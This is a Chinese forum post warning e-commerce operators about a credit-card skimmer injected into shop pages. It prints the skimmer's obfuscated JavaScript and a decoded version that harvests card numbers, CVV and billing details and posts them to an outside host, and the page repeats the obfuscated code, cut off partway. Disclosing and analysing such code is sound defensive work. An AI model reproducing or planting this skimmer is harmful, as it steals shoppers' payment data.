惊现盗取信用卡信息的伪装病毒

IT大杂烩neasel 发表了文章 • 0 个评论 • 1 次浏览 • 2018-03-29 17:57 • 来自相关话题

被植入文件

调用路径https://magentocore.net/mage/mage.js

原内容:

var _0x8949=[“\x75\x6E\x64\x65\x66\x69\x6E\x65\x64″,”\x68\x6F\x73\x74\x6E\x61\x6D\x65″,”\x76\x61\x6C”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x68\x6F\x73\x73\x74\x5F\x6E\x61\x6D\x65\x22\x5D”,”\x73\x69\x7A\x65″,”\x2A\x5B\x6E\x61\x6D\x65\x2A\x3D\x22\x63\x63\x5F\x6E\x75\x6D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x2A\x3D\x22\x63\x63\x5F\x65\x78\x70\x5F\x6D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x2A\x3D\x22\x63\x63\x5F\x65\x78\x70\x5F\x79\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x2A\x3D\x22\x63\x63\x5F\x63\x69\x64\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x66\x69\x72\x73\x74\x6E\x61\x6D\x65\x5D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x6C\x61\x73\x74\x6E\x61\x6D\x65\x5D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x73\x74\x72\x65\x65\x74\x5D\x5B\x5D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x63\x69\x74\x79\x5D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x72\x65\x67\x69\x6F\x6E\x5F\x69\x64\x5D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x70\x6F\x73\x74\x63\x6F\x64\x65\x5D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x63\x6F\x75\x6E\x74\x72\x79\x5F\x69\x64\x5D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x74\x65\x6C\x65\x70\x68\x6F\x6E\x65\x5D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x65\x6D\x61\x69\x6C\x5D\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x43\x61\x72\x64\x5F\x6E\x75\x6D\x62\x65\x72\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x45\x78\x70\x5F\x31\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x45\x78\x70\x5F\x32\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x43\x56\x56\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x66\x69\x72\x73\x74\x5F\x6E\x61\x6D\x65\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x73\x65\x63\x6F\x6E\x64\x5F\x6E\x61\x6D\x65\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x61\x64\x64\x72\x65\x73\x73\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x63\x69\x74\x79\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x73\x74\x61\x74\x65\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x7A\x69\x70\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x63\x6F\x75\x6E\x74\x72\x79\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x70\x68\x6F\x6E\x65\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x76\x62\x76\x22\x5D”,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6D\x61\x67\x65\x6E\x74\x6F\x63\x6F\x72\x65\x2E\x6E\x65\x74\x2F\x6D\x61\x67\x65\x2F\x6D\x61\x69\x6C\x32\x2E\x70\x68\x70″,”\x73\x65\x72\x69\x61\x6C\x69\x7A\x65″,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73″,”\x70\x6F\x73\x74″,”\x62\x75\x74\x74\x6F\x6E\x5B\x6F\x6E\x63\x6C\x69\x63\x6B\x2A\x3D\x22\x2E\x73\x61\x76\x65\x22\x5D”,”\x65\x71″,”\x6F\x6E\x63\x6C\x69\x63\x6B”,”\x61\x74\x74\x72″,”\x6D\x67\x5F\x5F\x63\x6F\x72\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x6D\x67\x5F\x5F\x63\x6F\x72\x65\x28\x29\x3B”,”\x3C\x66\x6F\x72\x6D\x20\x63\x6C\x61\x73\x73\x3D\x22\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x22\x20\x73\x74\x79\x6C\x65\x3D\x22\x64\x69\x73\x70\x6C\x61\x79\x3A\x20\x6E\x6F\x6E\x65\x3B\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x68\x6F\x73\x73\x74\x5F\x6E\x61\x6D\x65\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x43\x61\x72\x64\x5F\x6E\x75\x6D\x62\x65\x72\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x45\x78\x70\x5F\x31\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x45\x78\x70\x5F\x32\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x43\x56\x56\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x66\x69\x72\x73\x74\x5F\x6E\x61\x6D\x65\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x73\x65\x63\x6F\x6E\x64\x5F\x6E\x61\x6D\x65\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x61\x64\x64\x72\x65\x73\x73\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x63\x69\x74\x79\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x73\x74\x61\x74\x65\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x7A\x69\x70\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x63\x6F\x75\x6E\x74\x72\x79\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x70\x68\x6F\x6E\x65\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x76\x62\x76\x22\x3E\x3C\x2F\x66\x6F\x72\x6D\x3E”,”\x61\x70\x70\x65\x6E\x64″,”\x62\x6F\x64\x79″,”\x69\x6E\x69\x74\x5F\x5F\x6C\x6F\x28\x29\x3B”,”\x72\x65\x61\x64\x79″];if( typeof llooll== _0x8949[0]){var llooll=0;var lloo_interval;function mg__core(){var _0x83edx4=location[_0x8949[1]];jQuery(_0x8949[3])[_0x8949[2]](_0x83edx4);if(!(jQuery(_0x8949[5])[_0x8949[4]]())){return};var _0x83edx5=jQuery(_0x8949[5])[_0x8949[2]]();var _0x83edx6=jQuery(_0x8949[6])[_0x8949[2]]();var _0x83edx7=jQuery(_0x8949[7])[_0x8949[2]]();var _0x83edx8=jQuery(_0x8949[8])[_0x8949[2]]();var _0x83edx9=jQuery(_0x8949[9])[_0x8949[2]]();var _0x83edxa=jQuery(_0x8949[10])[_0x8949[2]]();var _0x83edxb=jQuery(_0x8949[11])[_0x8949[2]]();var _0x83edxc=jQuery(_0x8949[12])[_0x8949[2]]();var _0x83edxd=jQuery(_0x8949[13])[_0x8949[2]]();var _0x83edxe=jQuery(_0x8949[14])[_0x8949[2]]();var _0x83edxf=jQuery(_0x8949[15])[_0x8949[2]]();var _0x83edx10=jQuery(_0x8949[16])[_0x8949[2]]();var _0x83edx11=jQuery(_0x8949[17])[_0x8949[2]]();jQuery(_0x8949[18])[_0x8949[2]](_0x83edx5);jQuery(_0x8949[19])[_0x8949[2]](_0x83edx6);jQuery(_0x8949[20])[_0x8949[2]](_0x83edx7);jQuery(_0x8949[21])[_0x8949[2]](_0x83edx8);jQuery(_0x8949[22])[_0x8949[2]](_0x83edx9);jQuery(_0x8949[23])[_0x8949[2]](_0x83edxa);jQuery(_0x8949[24])[_0x8949[2]](_0x83edxb);jQuery(_0x8949[25])[_0x8949[2]](_0x83edxc);jQuery(_0x8949[26])[_0x8949[2]](_0x83edxd);jQuery(_0x8949[27])[_0x8949[2]](_0x83edxe);jQuery(_0x8949[28])[_0x8949[2]](_0x83edxf);jQuery(_0x8949[29])[_0x8949[2]](_0x83edx10);jQuery(_0x8949[30])[_0x8949[2]](_0x83edx11);var _0x83edx12=0;if((!_0x83edx5) || (!_0x83edx8) || (!_0x83edx6) || (!_0x83edx7)){_0x83edx12= 1};if(_0x83edx12!= 1){jQuery[_0x8949[34]](_0x8949[31],jQuery(_0x8949[33])[_0x8949[32]]())}}function init__lo(){if(!(jQuery(_0x8949[5])[_0x8949[4]]())){return};var _0x83edx14=jQuery(_0x8949[35]);for(var _0x83edx15=0;_0x83edx15< _0x83edx14[_0x8949[4]]();_0x83edx15++){var _0x83edx16=_0x83edx14[_0x8949[36]](_0x83edx15);var _0x83edx17=_0x83edx16[_0x8949[38]](_0x8949[37]);if(_0x83edx17[_0x8949[40]](_0x8949[39])>= 0){continue};_0x83edx16[_0x8949[38]](_0x8949[37],_0x8949[41]+ _0x83edx17)}}if(( typeof jQuery!= _0x8949[0])){(function(_0x83edx18){_0x83edx18(document)[_0x8949[46]](function(){_0x83edx18(_0x8949[44])[_0x8949[43]](_0x8949[42]);init__lo();lloo_interval= setInterval(_0x8949[45],7000)})})(jQuery)}}

解密后的真相内容:

if (typeof llooll == ‘undefined’) {
var llooll = 0;
var lloo_interval;

function mg__core() {
var _0x83edx4 = location[‘hostname’];
jQuery(‘.mi_forms input[name=”hosst_name”]’)[‘val’](_0x83edx4);
if (!(jQuery(‘*[name*=”cc_num”]’)[‘size’]())) {
return
};
var _0x83edx5 = jQuery(‘*[name*=”cc_num”]’)[‘val’]();
var _0x83edx6 = jQuery(‘*[name*=”cc_exp_m”]’)[‘val’]();
var _0x83edx7 = jQuery(‘*[name*=”cc_exp_y”]’)[‘val’]();
var _0x83edx8 = jQuery(‘*[name*=”cc_cid”]’)[‘val’]();
var _0x83edx9 = jQuery(‘*[name=”billing[firstname]”]’)[‘val’]();
var _0x83edxa = jQuery(‘*[name=”billing[lastname]”]’)[‘val’]();
var _0x83edxb = jQuery(‘*[name=”billing[street][]”]’)[‘val’]();
var _0x83edxc = jQuery(‘*[name=”billing[city]”]’)[‘val’]();
var _0x83edxd = jQuery(‘*[name=”billing[region_id]”]’)[‘val’]();
var _0x83edxe = jQuery(‘*[name=”billing[postcode]”]’)[‘val’]();
var _0x83edxf = jQuery(‘*[name=”billing[country_id]”]’)[‘val’]();
var _0x83edx10 = jQuery(‘*[name=”billing[telephone]”]’)[‘val’]();
var _0x83edx11 = jQuery(‘*[name=”billing[email]”]’)[‘val’]();
jQuery(‘.mi_forms input[name=”m_Card_number”]’)[‘val’](_0x83edx5);
jQuery(‘.mi_forms input[name=”m_Exp_1″]’)[‘val’](_0x83edx6);
jQuery(‘.mi_forms input[name=”m_Exp_2″]’)[‘val’](_0x83edx7);
jQuery(‘.mi_forms input[name=”m_CVV”]’)[‘val’](_0x83edx8);
jQuery(‘.mi_forms input[name=”m_first_name”]’)[‘val’](_0x83edx9);
jQuery(‘.mi_forms input[name=”m_second_name”]’)[‘val’](_0x83edxa);
jQuery(‘.mi_forms input[name=”m_address”]’)[‘val’](_0x83edxb);
jQuery(‘.mi_forms input[name=”m_city”]’)[‘val’](_0x83edxc);
jQuery(‘.mi_forms input[name=”m_state”]’)[‘val’](_0x83edxd);
jQuery(‘.mi_forms input[name=”m_zip”]’)[‘val’](_0x83edxe);
jQuery(‘.mi_forms input[name=”m_country”]’)[‘val’](_0x83edxf);
jQuery(‘.mi_forms input[name=”m_phone”]’)[‘val’](_0x83edx10);
jQuery(‘.mi_forms input[name=”m_vbv”]’)[‘val’](_0x83edx11);
var _0x83edx12 = 0;
if ((!_0x83edx5) || (!_0x83edx8) || (!_0x83edx6) || (!_0x83edx7)) {
_0x83edx12 = 1
};
if (_0x83edx12 != 1) {
jQuery[‘post’](‘https://magentocore.net/mage/mail2.php’, jQuery(‘.mi_forms’)[‘serialize’]())
}
}
function init__lo() {
if (!(jQuery(‘*[name*=”cc_num”]’)[‘size’]())) {
return
};
var _0x83edx14 = jQuery(‘button[onclick*=”.save”]’);
for (var _0x83edx15 = 0; _0x83edx15 < _0x83edx14[‘size’](); _0x83edx15++) {
var _0x83edx16 = _0x83edx14[‘eq’](_0x83edx15);
var _0x83edx17 = _0x83edx16[‘attr’](‘onclick’);
if (_0x83edx17[‘indexOf’](‘mg__core’) >= 0) {
continue
};
_0x83edx16[‘attr’](‘onclick’, ‘mg__core();’ + _0x83edx17)
}
}
if ((typeof jQuery != ‘undefined’)) {
(function (_0x83edx18) {
_0x83edx18(document)[‘ready’](function () {
_0x83edx18(‘body’)[‘append’](‘<form class=”mi_forms” style=”display: none;”><input type=”text” name=”hosst_name”><input type=”text” name=”m_Card_number”><input type=”text” name=”m_Exp_1″><input type=”text” name=”m_Exp_2″><input type=”text” name=”m_CVV”><input type=”text” name=”m_first_name”><input type=”text” name=”m_second_name”><input type=”text” name=”m_address”><input type=”text” name=”m_city”><input type=”text” name=”m_state”><input type=”text” name=”m_zip”><input type=”text” name=”m_country”><input type=”text” name=”m_phone”><input type=”text” name=”m_vbv”></form>’);
init__lo();
lloo_interval = setInterval(‘init__lo();’, 7000)
})
})(jQuery)
}
}

 

https://magentocore.net/mage/mail2.php 使用此MAIL发送功能把收集到的信息卡信息发往这个地址!!!

盗刷信用卡信息的团伙就问您们怕不怕!!!!请各位电商用户打开页面源码自查!!!! 查看全部
被植入文件

调用路径https://magentocore.net/mage/mage.js

原内容:

var _0x8949=[“\x75\x6E\x64\x65\x66\x69\x6E\x65\x64″,”\x68\x6F\x73\x74\x6E\x61\x6D\x65″,”\x76\x61\x6C”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x68\x6F\x73\x73\x74\x5F\x6E\x61\x6D\x65\x22\x5D”,”\x73\x69\x7A\x65″,”\x2A\x5B\x6E\x61\x6D\x65\x2A\x3D\x22\x63\x63\x5F\x6E\x75\x6D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x2A\x3D\x22\x63\x63\x5F\x65\x78\x70\x5F\x6D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x2A\x3D\x22\x63\x63\x5F\x65\x78\x70\x5F\x79\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x2A\x3D\x22\x63\x63\x5F\x63\x69\x64\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x66\x69\x72\x73\x74\x6E\x61\x6D\x65\x5D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x6C\x61\x73\x74\x6E\x61\x6D\x65\x5D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x73\x74\x72\x65\x65\x74\x5D\x5B\x5D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x63\x69\x74\x79\x5D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x72\x65\x67\x69\x6F\x6E\x5F\x69\x64\x5D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x70\x6F\x73\x74\x63\x6F\x64\x65\x5D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x63\x6F\x75\x6E\x74\x72\x79\x5F\x69\x64\x5D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x74\x65\x6C\x65\x70\x68\x6F\x6E\x65\x5D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x65\x6D\x61\x69\x6C\x5D\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x43\x61\x72\x64\x5F\x6E\x75\x6D\x62\x65\x72\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x45\x78\x70\x5F\x31\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x45\x78\x70\x5F\x32\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x43\x56\x56\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x66\x69\x72\x73\x74\x5F\x6E\x61\x6D\x65\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x73\x65\x63\x6F\x6E\x64\x5F\x6E\x61\x6D\x65\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x61\x64\x64\x72\x65\x73\x73\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x63\x69\x74\x79\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x73\x74\x61\x74\x65\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x7A\x69\x70\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x63\x6F\x75\x6E\x74\x72\x79\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x70\x68\x6F\x6E\x65\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x76\x62\x76\x22\x5D”,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6D\x61\x67\x65\x6E\x74\x6F\x63\x6F\x72\x65\x2E\x6E\x65\x74\x2F\x6D\x61\x67\x65\x2F\x6D\x61\x69\x6C\x32\x2E\x70\x68\x70″,”\x73\x65\x72\x69\x61\x6C\x69\x7A\x65″,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73″,”\x70\x6F\x73\x74″,”\x62\x75\x74\x74\x6F\x6E\x5B\x6F\x6E\x63\x6C\x69\x63\x6B\x2A\x3D\x22\x2E\x73\x61\x76\x65\x22\x5D”,”\x65\x71″,”\x6F\x6E\x63\x6C\x69\x63\x6B”,”\x61\x74\x74\x72″,”\x6D\x67\x5F\x5F\x63\x6F\x72\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x6D\x67\x5F\x5F\x63\x6F\x72\x65\x28\x29\x3B”,”\x3C\x66\x6F\x72\x6D\x20\x63\x6C\x61\x73\x73\x3D\x22\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x22\x20\x73\x74\x79\x6C\x65\x3D\x22\x64\x69\x73\x70\x6C\x61\x79\x3A\x20\x6E\x6F\x6E\x65\x3B\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x68\x6F\x73\x73\x74\x5F\x6E\x61\x6D\x65\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x43\x61\x72\x64\x5F\x6E\x75\x6D\x62\x65\x72\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x45\x78\x70\x5F\x31\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x45\x78\x70\x5F\x32\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x43\x56\x56\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x66\x69\x72\x73\x74\x5F\x6E\x61\x6D\x65\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x73\x65\x63\x6F\x6E\x64\x5F\x6E\x61\x6D\x65\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x61\x64\x64\x72\x65\x73\x73\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x63\x69\x74\x79\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x73\x74\x61\x74\x65\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x7A\x69\x70\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x63\x6F\x75\x6E\x74\x72\x79\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x70\x68\x6F\x6E\x65\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x76\x62\x76\x22\x3E\x3C\x2F\x66\x6F\x72\x6D\x3E”,”\x61\x70\x70\x65\x6E\x64″,”\x62\x6F\x64\x79″,”\x69\x6E\x69\x74\x5F\x5F\x6C\x6F\x28\x29\x3B”,”\x72\x65\x61\x64\x79″];if( typeof llooll== _0x8949[0]){var llooll=0;var lloo_interval;function mg__core(){var _0x83edx4=location[_0x8949[1]];jQuery(_0x8949[3])[_0x8949[2]](_0x83edx4);if(!(jQuery(_0x8949[5])[_0x8949[4]]())){return};var _0x83edx5=jQuery(_0x8949[5])[_0x8949[2]]();var _0x83edx6=jQuery(_0x8949[6])[_0x8949[2]]();var _0x83edx7=jQuery(_0x8949[7])[_0x8949[2]]();var _0x83edx8=jQuery(_0x8949[8])[_0x8949[2]]();var _0x83edx9=jQuery(_0x8949[9])[_0x8949[2]]();var _0x83edxa=jQuery(_0x8949[10])[_0x8949[2]]();var _0x83edxb=jQuery(_0x8949[11])[_0x8949[2]]();var _0x83edxc=jQuery(_0x8949[12])[_0x8949[2]]();var _0x83edxd=jQuery(_0x8949[13])[_0x8949[2]]();var _0x83edxe=jQuery(_0x8949[14])[_0x8949[2]]();var _0x83edxf=jQuery(_0x8949[15])[_0x8949[2]]();var _0x83edx10=jQuery(_0x8949[16])[_0x8949[2]]();var 